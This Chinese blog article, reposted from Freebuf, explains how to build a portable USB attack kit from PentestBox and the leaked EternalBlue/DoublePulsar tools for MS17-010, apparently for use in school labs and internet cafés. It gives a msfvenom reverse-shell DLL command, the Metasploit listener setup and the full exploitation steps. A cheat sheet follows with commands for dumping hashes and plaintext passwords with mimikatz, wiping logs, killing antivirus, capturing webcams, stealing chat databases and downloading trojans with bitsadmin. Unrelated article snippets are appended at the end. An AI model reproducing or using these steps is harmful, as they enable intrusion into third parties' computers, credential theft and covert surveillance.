利用pentestbox打造ms17-010移动"杀器"
本文首发Freebuf,属原创奖励计划,未经许可禁止转载。
链接:http://www.freebuf.com/articles/system/132274.html
一. 前言
前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。
这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。
二. 环境移植过程
思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境
Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。
1. 工具准备:
Pentestbox:
方程式工具包:
EQGRP_Lost_in_Translation
https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master
python环境
必须在Python2.6 和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

Python2.6 和 pywin32-221位数需要相同,我用的是32位的
Python2.6.6 (32)
下载链接:https://www.python.org/download/releases/2.6.6/
pywin32-221(32)
下载链接:
2. Pentestbox下python2.6环境配置
分别安装,然后你会得到攻击包运行的python2.6环境

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base
刚才你也可以直接装到pentestbox\base下

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行
python26="%pentestbox_ROOT%\base\Python26\python.exe" $*

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

这个时候,我们运行python26可以看到环境配置成功

3. 漏洞利用工具配置
我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码


然后我们把windows文件夹复制到pentestbox目录下

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

我们进入ms07-010目录并执行python26 fb.py

这样我们就可以启动攻击程序了

三. 攻击示例
攻击机:192.168.1.106
靶机: 192.168.1.111 windows x64 SP1
我们先用msf生成dll木马,用于控制目标
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=9999 -f dll > 9999-64.dll
Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听
本地测试时候可以找一台kali攻击机
dll木马我们可以提前生成好放在u盘里带着,随时备用*_*
接下来我们用Msf进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP (这里填写vps的内网ip,记得开放监听端口)
set LPORT 9999
set stagerverifysslcert false
exploit -j

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

回到fb.py中,开始攻击
[?] Default Target IP Address [] : 攻击目标
[?] Default Callback IP Address [] : 本机ip
[?] Use Redirection [yes] : no 是否重定向
[?] Base Log directory [D:\logs] : 是否输出日志
然后创建一个项目实例

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

输入命令 use 可以查看我们利用的exp模块
我们使用EternalBlue模块,use EternalBlue

下面一直回车就行。。。

选择攻击目标的系统

这里会询问你payload传输方式 选择1,感觉更稳定些


继续回车,确认信息


成功之后,我们使用doublepulsar模块

继续一路回车

选择协议

选择目标系统

选择攻击方式,我们利用dll木马

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~


然后设置要注入的程序,默认是lsass.exe

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框
注入其他进程,有时候或多或少都会出那么点问题


然后是一路回车



最后一步执行攻击

Msf这里成功获取shell


截个屏看看


一个正在成长中的团队,欢迎交流,分享,合作~
四. 后渗透辅助命令
配合下面的一些命令,happy to play~
meterpreter
upload /root/nc.exe c:\\windows\\system32 #上传文件
search –d c:\\windows –f *.mdb #在目标主机Windows目录中搜索文件s
执行程序
execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隐藏执行,并显示虚假运行程序
我们可以用远控生成一个木马传过去



例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp
run webcam -p 图片保存路径 #开启目标摄像头并截图
run packetrecorder –i 会话序号 #捕获流量数据包.pcap
提权
use privs
getsystem
getuid
clearev --清除日志
run killav --干掉杀软
文件关联
改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile
改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile
改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile
Hash获取
hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump --可绕过windows UAC控制
用kiwi获取明文密码:
meterpreter>load kiwi
meterpreter> creds_all
Metaspolit中使用Mimikatz:
使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv #msv creden
meterpreter > kerberostials #kerberos credentials
使用mimikatz自带的命令:
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>
利用windows命令下载文件
bitsadmin /transfer mydownJob /download /priority normal “http://url/muma.exe" "F:\muma.exe "
详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx
最后:
今天下午有人在i春秋发布了批量利用程序
https://bbs.ichunqiu.com/thread-21863-1-1.html~
利用pentestbox打造ms17-010移动"杀器"的更多相关文章
- 打造自己的html5视频播放器
前段时间重新学习了一下html5的video部分,以前只是停留在标签的使用上,这一次决定深入了解相关的API,并运用这些API打造一个简单的视频播放器.所谓“打造自己的”,就是要自己重写video标签 ...
- ORM “杀器”之 JOOQ
ORM “杀器”之 JOOQ IN 后端编程,JAVA,敏捷开发,数据库 JOOQ是啥? JOOQ 是基于Java访问关系型数据库的工具包,轻量,简单,并且足够灵活,可以轻松的使用Java面向对象语法 ...
- [NewLife.XCode]反向工程(自动建表建库大杀器)
NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...
- 一文读懂机器学习大杀器XGBoost原理
http://blog.itpub.net/31542119/viewspace-2199549/ XGBoost是boosting算法的其中一种.Boosting算法的思想是将许多弱分类器集成在一起 ...
- 离群点检测与序列数据异常检测以及异常检测大杀器-iForest
1. 异常检测简介 异常检测,它的任务是发现与大部分其他对象不同的对象,我们称为异常对象.异常检测算法已经广泛应用于电信.互联网和信用卡的诈骗检测.贷款审批.电子商务.网络入侵和天气预报等领域.这些异 ...
- H5打造属于自己的视频播放器(JS篇2)
回顾 算了不回顾了 直接搞起,打开JS1中写的bvd.js 播放视频 播放按钮隐藏 视频开始播放 当点击播放按钮的时候,播放按钮将会隐藏,播放视频,这个不难,在JS1中我们就已经实现.但我们改变一下思 ...
- 怎样利用App打造自明星实现自盈利
怎样利用App打造自明星实现自盈利 1.了解各个概念 为了大家都能看懂这篇文章,先说明几个概念. App(Application):能够在移动设备上使用,满足人们咨询.购物. ...
- 使用docker-compose 大杀器来部署服务 上
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- 使用docker-compose 大杀器来部署服务 上(转)
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
随机推荐
- 潭州课堂25班:Ph201805201 django框架 第三课 模板路径,变量,过滤器,静态文件的引用 (课堂笔记)
第二种方法 首先 'APP_DIRS': True, 将 app 的名字在 INSTALLED_APPS 进行注册 模板变量 传的各种数据类型,和取值 过渡器: 静态文件: 在项目文件目录 中创建 ...
- [CC-BLREDSET]Black and Red vertices of Tree
[CC-BLREDSET]Black and Red vertices of Tree 题目大意: 有一棵\(n(\sum n\le10^6)\)个结点的树,每个结点有一种颜色(红色.黑色.白色).删 ...
- 解决 Excel2013打开提示 文件格式和扩展名不匹配。文件可能已损坏或不安全
有的时候打开xls文档时,会提示“文件格式和扩展名不匹配.文件可能已损坏或不安全.除非您信任其来源,否则请勿打开.是否仍要打开它?” 遇到这种情况,我们需要 1.win键+R键,打开“运行“,输入re ...
- 关于ajax请求后js绑定事件失效问题解决方法
<script> $(function(){ $(document).on('click', '.add' ,function(){ window.location.href=" ...
- 读《31天学会CRM项目开发》记录2 - 企业信息管理系统
在信息技术的快速推动下,企业如果依然利用传统的管理方式,以人为主,那效率便会大打折扣.在此背景下,企业信息化系统得 到了高速发展.如我们常见的ERP系统.MES系统,都是提高公司运行效率,降低运营以及 ...
- python正则表达式(四)
re模块的高级用法 search 需求:匹配出文章阅读的次数 #coding=utf-8 import re ret = re.search(r"\d+", "阅读次数为 ...
- curl: (25) Failed FTP upload: 550 解决方案
ftp的地址一定要以”/”结束.比如:ftp://127.0.0.1/01Dev/
- YIi url美化
一.Yii Url美化,配置urlManager组件 'urlManager' => [ 'enablePrettyUrl' => true, // 开启URL美化,可以去掉 index. ...
- Java中的public、private、protected,函数修饰符
1.public:public表明该数据成员.成员函数是对所有用户开放的,项目中其他脚本都可以直接进行调用 2.private:private表示私有,私有的意思就是除了脚本之外,项目中其他类都不可以 ...
- Linux之nginx反向代理+三台web+nfs共享存储实现集群配置
作业四:nginx反向代理+三台web+nfs共享存储实现集群配置 在各个web服务器上挂载nfs [root@localhost nginx]# mount -t nfs 192.168.152.1 ...